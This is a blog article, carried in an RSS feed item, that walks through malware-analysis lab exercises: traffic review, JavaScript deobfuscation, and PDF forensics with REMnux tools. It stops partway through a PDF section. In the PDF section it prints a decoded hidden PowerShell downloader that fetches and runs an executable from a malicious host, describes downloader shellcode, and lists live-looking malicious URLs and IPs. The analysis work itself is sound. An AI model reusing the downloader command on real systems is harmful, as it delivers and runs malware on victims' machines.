    <item>
      <title>A Deep Dive into Malware Analysis: Deobfuscation, Shellcode Extraction, and Document Forensics</title>
      <dc:creator>Khalif AL Mahmud</dc:creator>
      <pubDate>Fri, 26 Jun 2026 12:58:15 +0000</pubDate>
      <link>https://dev.to/almahmudkhalif/a-deep-dive-into-malware-analysis-deobfuscation-shellcode-extraction-and-document-forensics-4adn</link>
      <guid>https://dev.to/almahmudkhalif/a-deep-dive-into-malware-analysis-deobfuscation-shellcode-extraction-and-document-forensics-4adn</guid>
      <description>&lt;p&gt;When most people think about malware analysis, they picture someone staring at assembly code for hours. And sure, that's part of it. But the reality is far more varied — and honestly, more interesting. A huge chunk of real-world malware analysis work happens at a layer above disassembly: extracting obfuscated scripts from documents, carving shellcode out of PDFs, reconstructing attack chains from network captures, and understanding how adversaries abuse everyday file formats like Word docs and Excel spreadsheets to deliver payloads.&lt;/p&gt;

&lt;p&gt;I recently spent some serious hands-on time working through a range of malware samples across different formats — from compromised website traffic and obfuscated JavaScript to malicious PDFs, RTFs, and Office documents. The goal wasn't just to run tools blindly, but to understand the &lt;em&gt;why&lt;/em&gt; behind each technique: why attackers choose certain obfuscation methods, why specific file formats are attractive delivery vehicles, and how analysts can peel back the layers to expose the underlying behavior.&lt;/p&gt;

&lt;p&gt;This article walks through that entire journey — the tools, the commands, the thought process, and what I learned along the way.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Problem Statement
&lt;/h2&gt;

&lt;p&gt;Modern malware delivery is rarely a single executable anymore. Attackers have moved toward:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Compromised websites&lt;/strong&gt; serving malicious scripts and exploit kits&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Obfuscated JavaScript&lt;/strong&gt; that hides payload delivery mechanisms&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Malicious PDFs&lt;/strong&gt; embedding JavaScript and shellcode&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Office documents&lt;/strong&gt; (&lt;code&gt;.doc&lt;/code&gt;, &lt;code&gt;.docm&lt;/code&gt;, &lt;code&gt;.xlsx&lt;/code&gt;) with macros or embedded OLE objects&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;RTF files&lt;/strong&gt; with embedded shellcode or exploit objects&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each of these presents a unique analysis challenge. The common thread? Everything is obfuscated, layered, and designed to evade static detection. As an analyst, your job is to strip away those layers without executing the malware in a live environment.&lt;/p&gt;

&lt;p&gt;This article covers a full analysis pipeline across 15 exercises, organized into logical categories: network traffic analysis, script deobfuscation, PDF forensics, Office document analysis, and shellcode extraction.&lt;/p&gt;




&lt;h2&gt;
  
  
  Part 1: Analyzing Network Traffic to Reconstruct an Attack
&lt;/h2&gt;

&lt;p&gt;The first part of the analysis starts with network artifacts. When a victim visits a compromised website, a lot happens behind the scenes — redirects, script injections, exploit kit delivery, and eventually payload retrieval. Capturing and analyzing that traffic is often the best way to understand the full infection chain.&lt;/p&gt;

&lt;h3&gt;
  
  
  Setting Up the Lab Environment
&lt;/h3&gt;

&lt;p&gt;For this analysis, I used two virtual machines:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Windows REM Workstation&lt;/strong&gt; — for Windows-based tools like Fiddler, Wireshark, and scdbg&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;REMnux&lt;/strong&gt; — a Linux distro purpose-built for malware analysis&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All samples were extracted to the appropriate directories on both systems before starting analysis.&lt;/p&gt;

&lt;h3&gt;
  
  
  Analyzing Traffic with Fiddler
&lt;/h3&gt;

&lt;p&gt;Fiddler is a fantastic tool for inspecting HTTP/HTTPS traffic at the application layer. I loaded a saved session archive (&lt;code&gt;session-fiddler.saz&lt;/code&gt;) to inspect the traffic from a compromised site.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# On Windows REM Workstation - open session-fiddler.saz in Fiddler&lt;/span&gt;
&lt;span class="c"&gt;# (Double-click the file or use File &amp;gt; Load Archive)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Finding the compromise:&lt;/strong&gt; The first request to &lt;code&gt;www.hiltongardeninnoakville.com&lt;/code&gt; returned a 200 OK response. Decoding the response body revealed an injected script at the bottom of the page referencing &lt;code&gt;my.GEORGETHORPEBOURBON.COM&lt;/code&gt; — a clear indicator of a compromised site serving malicious content.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Following the chain:&lt;/strong&gt; The first request to &lt;code&gt;my.georgethorpebourbon.com&lt;/code&gt; returned heavily obfuscated JavaScript. The next request returned a response starting with "CWS" — the signature of a Flash file. Further down, two requests for &lt;code&gt;/default.jpg&lt;/code&gt; from &lt;code&gt;195.154.122.33&lt;/code&gt; returned the word "default" instead of an actual image. Interestingly, these requests were made by a process named &lt;code&gt;963e.tmp&lt;/code&gt; rather than &lt;code&gt;explorer.exe&lt;/code&gt;, suggesting the exploit had already triggered and dropped a payload.&lt;/p&gt;

&lt;h3&gt;
  
  
  Deep-Diving with Wireshark
&lt;/h3&gt;

&lt;p&gt;For packet-level inspection, I loaded the same traffic in Wireshark (&lt;code&gt;session.pcap&lt;/code&gt;).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Display filter to isolate traffic from the suspicious IP&lt;/span&gt;
ip.addr &lt;span class="o"&gt;==&lt;/span&gt; 195.154.122.33
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The most interesting finding was the last HTTP POST request to &lt;code&gt;/setting/get_setting.php&lt;/code&gt;. The request body contained two notable parameters:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;key&lt;/code&gt; — potentially part of a key exchange protocol (suggesting ransomware behavior)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;idn&lt;/code&gt; — likely a unique identifier for the infected system, used for decryption ransom demands&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Extracting Files with CapTipper
&lt;/h3&gt;

&lt;p&gt;CapTipper is a REMnux tool that automates file extraction from PCAP files — incredibly useful for pulling out payloads that were transferred during the attack.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# On REMnux&lt;/span&gt;
&lt;span class="nb"&gt;cd&lt;/span&gt; /opt/remnux-captipper
&lt;span class="nb"&gt;mkdir&lt;/span&gt; /tmp/out
./CapTipper.py &lt;span class="nt"&gt;-g&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; /tmp/out ~/malware/day3/session.pcap

&lt;span class="c"&gt;# List extracted files&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; /tmp/out

&lt;span class="c"&gt;# Identify the Flash program&lt;/span&gt;
file /tmp/out/&lt;span class="k"&gt;*&lt;/span&gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;Flash

&lt;span class="c"&gt;# The suspicious Flash file was found at: /tmp/out/70-index.php&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;CapTipper successfully carved out the Flash payload from the network traffic, which could then be analyzed further with tools like &lt;code&gt;swfdump&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Part 2: Deobfuscating JavaScript — Three Different Approaches
&lt;/h2&gt;

&lt;p&gt;JavaScript deobfuscation is a core skill for any malware analyst. I worked through three different scripts, each requiring a different technique.&lt;/p&gt;

&lt;h3&gt;
  
  
  Technique 1: Using the Internet Explorer Debugger
&lt;/h3&gt;

&lt;p&gt;The file &lt;code&gt;session.html&lt;/code&gt; contained obfuscated JavaScript that ultimately loaded a Flash exploit. The approach here was elegant in its simplicity: use the browser's own debugger to let the script do the deobfuscation work for you.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1 — Beautify and inspect the script:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Open session.html in Notepad++&lt;/span&gt;
&lt;span class="c"&gt;# Plugins &amp;gt; JSTool &amp;gt; JSMin (remove extraneous components)&lt;/span&gt;
&lt;span class="c"&gt;# Plugins &amp;gt; JSTool &amp;gt; JSFormat (reformat for readability)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After beautifying, I identified a function &lt;code&gt;l&lt;/code&gt; that implemented the deobfuscation algorithm, ending with &lt;code&gt;return r;&lt;/code&gt;. This was the perfect breakpoint location.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2 — Revert and insert debugger statement:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Revert to original, then add debugger; at the start of the second &amp;lt;script&amp;gt; tag:&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="k"&gt;debugger&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="cm"&gt;/*sidgfdfdf81669kdfl*/&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="cm"&gt;/*sidgf73056dfdfkdfl*/&lt;/span&gt;&lt;span class="nx"&gt;gffsd&lt;/span&gt;&lt;span class="cm"&gt;/*sidgfdfdfd40511fkdfl*/&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="cm"&gt;/*xY2YtOTZi52952OC00NDQ*/&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 3 — Debug in Internet Explorer:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Open the modified &lt;code&gt;session.html&lt;/code&gt; in IE&lt;/li&gt;
&lt;li&gt;Press F12 to open Developer Tools → Debugger tab&lt;/li&gt;
&lt;li&gt;Reload the page and click "Allow blocked content"&lt;/li&gt;
&lt;li&gt;The debugger pauses at the &lt;code&gt;debugger;&lt;/code&gt; statement&lt;/li&gt;
&lt;li&gt;Search for &lt;code&gt;return r&lt;/code&gt;, right-click, and insert a breakpoint&lt;/li&gt;
&lt;li&gt;Click Continue (Play button) to let the script run to the breakpoint&lt;/li&gt;
&lt;li&gt;Switch to Console tab and type:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The console displayed the fully deobfuscated script, which revealed an &lt;code&gt;&amp;lt;object&amp;gt;&lt;/code&gt; tag loading a Flash program via &lt;code&gt;clsid:d27cdb6e-ae6d-11cf-96b8-444553540000&lt;/code&gt; — confirming the behavioral analysis from Part 1.&lt;/p&gt;

&lt;h3&gt;
  
  
  Technique 2: Using SpiderMonkey for Headless Deobfuscation
&lt;/h3&gt;

&lt;p&gt;For &lt;code&gt;fgg.js&lt;/code&gt;, the obfuscation relied on &lt;code&gt;location.href&lt;/code&gt; — something that only exists in a real browser context. SpiderMonkey is a JavaScript engine that runs scripts without a browser, but we need to provide the missing objects.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# First attempt — fails because 'location' is not defined&lt;/span&gt;
js &lt;span class="nt"&gt;-f&lt;/span&gt; fgg.js
&lt;span class="c"&gt;# Error: "location is not defined"&lt;/span&gt;

&lt;span class="c"&gt;# Second attempt — provide default object definitions&lt;/span&gt;
js &lt;span class="nt"&gt;-f&lt;/span&gt; /usr/share/remnux/objects.js &lt;span class="nt"&gt;-f&lt;/span&gt; fgg.js
&lt;span class="c"&gt;# Runs but output is unreadable — wrong location.href value&lt;/span&gt;

&lt;span class="c"&gt;# Fix: Copy and modify objects.js to set the correct URL&lt;/span&gt;
&lt;span class="nb"&gt;cp&lt;/span&gt; /usr/share/remnux/objects.js &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;span class="c"&gt;# Edit objects.js:&lt;/span&gt;
location &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    href:&lt;span class="s2"&gt;"http://www.gitporg.com/cgi-bin/index.cgi?fgg"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="c"&gt;# Execute with the corrected location&lt;/span&gt;
js &lt;span class="nt"&gt;-f&lt;/span&gt; objects.js &lt;span class="nt"&gt;-f&lt;/span&gt; fgg.js &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; fgg2.js
scite fgg2.js &amp;amp;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The deobfuscated &lt;code&gt;fgg2.js&lt;/code&gt; revealed a malicious URL we hadn't seen before — demonstrating how providing the right environmental context can unlock hidden behavior in obfuscated scripts.&lt;/p&gt;

&lt;h3&gt;
  
  
  Technique 3: Using box-js for Environment Emulation
&lt;/h3&gt;

&lt;p&gt;For &lt;code&gt;contact_vcf.wsf&lt;/code&gt;, both SpiderMonkey and manual analysis fell short. This is where &lt;code&gt;box-js&lt;/code&gt; shines — it's a full JavaScript environment emulator designed specifically for malware analysis.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# SpiderMonkey attempt — incomplete deobfuscation&lt;/span&gt;
js &lt;span class="nt"&gt;-f&lt;/span&gt; /usr/share/remnux/objects.js &lt;span class="nt"&gt;-f&lt;/span&gt; contact_vcf.wsf | more
&lt;span class="c"&gt;# Error: "_87867t67t6gt is not defined"&lt;/span&gt;

&lt;span class="c"&gt;# box-js — much more comprehensive&lt;/span&gt;
box-js contact_vcf.wsf | more
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;box-js&lt;/code&gt; not only deobfuscated the script but also created a &lt;code&gt;contact_vcf.wsf.results&lt;/code&gt; directory with detailed analysis artifacts:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check extracted URLs&lt;/span&gt;
more contact_vcf.wsf.results/urls.json
&lt;span class="c"&gt;# Found: http://sapanboon.com/ne7ptotr&lt;/span&gt;

&lt;span class="c"&gt;# Examine downloaded files&lt;/span&gt;
file contact_vcf.wsf.results/&lt;span class="k"&gt;*&lt;/span&gt; | more

&lt;span class="c"&gt;# Analyze the PE executable that was downloaded&lt;/span&gt;
peframe contact_vcf.wsf.results/795&lt;span class="k"&gt;*&lt;/span&gt; | more
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Part 3: PDF Forensics — Extracting Embedded Threats
&lt;/h2&gt;

&lt;p&gt;PDFs are a classic malware delivery vector. They can embed JavaScript, launch external programs, and hide shellcode in encoded streams. I analyzed several malicious PDFs using a systematic approach.&lt;/p&gt;

&lt;h3&gt;
  
  
  Analyzing ctk.pdf — Base64-Encoded PowerShell
&lt;/h3&gt;

&lt;p&gt;The file &lt;code&gt;ctk.pdf&lt;/code&gt; had an &lt;code&gt;OpenAction&lt;/code&gt; dictionary designed to auto-launch a PowerShell command. The &lt;code&gt;-EncodedCommand&lt;/code&gt; parameter was clearly Base64-encoded.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Examine the PDF structure&lt;/span&gt;
scite ctk.pdf &amp;amp;

&lt;span class="c"&gt;# Decode manually using base64 utility&lt;/span&gt;
&lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;
&lt;span class="c"&gt;# Paste the encoded string, press Enter, then Ctrl+D&lt;/span&gt;

&lt;span class="c"&gt;# Output:&lt;/span&gt;
&lt;span class="c"&gt;# PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden -command&lt;/span&gt;
&lt;span class="c"&gt;# (New-Object System.Net.WebClient).DownloadFile('http://ncduganda.org/.css/awori.exe',&lt;/span&gt;
&lt;span class="c"&gt;# $env:APPDATA\awori.exe); Start-Process ($env:APPDATA\awori.exe)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For a more automated approach:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Identify all Base64 strings in the PDF&lt;/span&gt;
base64dump.py ctk.pdf

&lt;span class="c"&gt;# Extract and decode the largest one (ID: 2)&lt;/span&gt;
base64dump.py ctk.pdf &lt;span class="nt"&gt;-s&lt;/span&gt; 2 &lt;span class="nt"&gt;-S&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The decoded command was a classic downloader — grab an executable from a remote server, save it locally, and execute it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Analyzing collab.pdf — JavaScript, Shellcode, and Exploits
&lt;/h3&gt;

&lt;p&gt;This was a more complex PDF with multiple layers of obfuscation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1 — Initial assessment with pdfid.py:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pdfid.py collab.pdf
&lt;span class="c"&gt;# Reports: /JavaScript present — high risk indicator&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 2 — Locate JavaScript objects:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pdf-parser.py collab.pdf &lt;span class="nt"&gt;--search&lt;/span&gt; JavaScript | more
&lt;span class="c"&gt;# Found objects: 1 0, 7 0, 12 0 (references to 10 0 and 13 0)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 3 — Extract and decode the stream:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pdf-parser.py collab.pdf &lt;span class="nt"&gt;--object&lt;/span&gt; 10
pdf-parser.py collab.pdf &lt;span class="nt"&gt;--object&lt;/span&gt; 13

&lt;span class="c"&gt;# Save decoded stream from object 13&lt;/span&gt;
pdf-parser.py collab.pdf &lt;span class="nt"&gt;--object&lt;/span&gt; 13 &lt;span class="nt"&gt;--filter&lt;/span&gt; &lt;span class="nt"&gt;--raw&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; collab.txt
scite collab.txt &amp;amp;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 4 — Fix and deobfuscate the JavaScript:&lt;/strong&gt;&lt;br&gt;
The script had a function defined through a misleading tuple assignment:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;hyltlzyr&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;kasg&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;vfys&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;zsjj&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;qtkj&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;zfch&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;tmxf&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;eits&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;ydcy&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;huzl&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;xovi&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;bhpe&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;lktc&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)[(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;rirh&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;msas&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;qxsf&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;mkva&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;xdax&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;goib&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;hsie&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;lzem&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;nkls&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;eval&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This was just a convoluted way of setting &lt;code&gt;hyltlzyr = eval&lt;/code&gt;. I simplified it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;hyltlzyr&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then ran it through SpiderMonkey:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;js &lt;span class="nt"&gt;-f&lt;/span&gt; /usr/share/remnux/objects.js &lt;span class="nt"&gt;-f&lt;/span&gt; collab.txt &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; collab2.txt
scite collab2.txt &amp;amp;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 5 — Extract the shellcode:&lt;/strong&gt;&lt;br&gt;
The deobfuscated script contained a Unicode-encoded shellcode string. I used &lt;code&gt;base64dump.py&lt;/code&gt; with the percent-Unicode (&lt;code&gt;-e pu&lt;/code&gt;) encoding option:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Locate the encoded shellcode&lt;/span&gt;
base64dump.py &lt;span class="nt"&gt;-e&lt;/span&gt; pu collab2.txt

&lt;span class="c"&gt;# Extract and save the binary shellcode (ID: 1)&lt;/span&gt;
base64dump.py &lt;span class="nt"&gt;-e&lt;/span&gt; pu collab2.txt &lt;span class="nt"&gt;-s&lt;/span&gt; 1 &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; collab-out.bin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 6 — Emulate shellcode execution with scdbg:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# On Windows REM Workstation with scdbg:&lt;/span&gt;
&lt;span class="c"&gt;# Load collab-out.bin, keep default settings, click Launch&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The scdbg output revealed the shellcode calling &lt;code&gt;URLDownloadToFileA&lt;/code&gt; to fetch an executable from &lt;code&gt;94.247.2.157&lt;/code&gt;, saving it as &lt;code&gt;%Temp%\wJQs.exe&lt;/code&gt;, then launching it via &lt;code&gt;WinExec&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Analyzing page.pdf — From Shellcode to Executable
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;page.pdf&lt;/code&gt; file used XFA forms to embed JavaScript and shellcode — a technique commonly seen in exploit kits.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1 — Initial scan:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pdfid.py page.pdf
peepdf.py &lt;span class="nt"&gt;-fl&lt;/span&gt; page.pdf
&lt;span class="c"&gt;# Reports: AcroForm in object 3, XFA in object 2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 2 — Trace object references:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pdf-parser.py page.pdf &lt;span class="nt"&gt;--object&lt;/span&gt; 3  &lt;span class="c"&gt;# Refers to object 2&lt;/span&gt;
pdf-parser.py page.pdf &lt;span class="nt"&gt;--object&lt;/span&gt; 2  &lt;span class="c"&gt;# Refers to object 1&lt;/span&gt;
pdf-parser.py page.pdf &lt;span class="nt"&gt;--object&lt;/span&gt; 1  &lt;span class="c"&gt;# Contains the stream&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 3 — Extract and decode:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
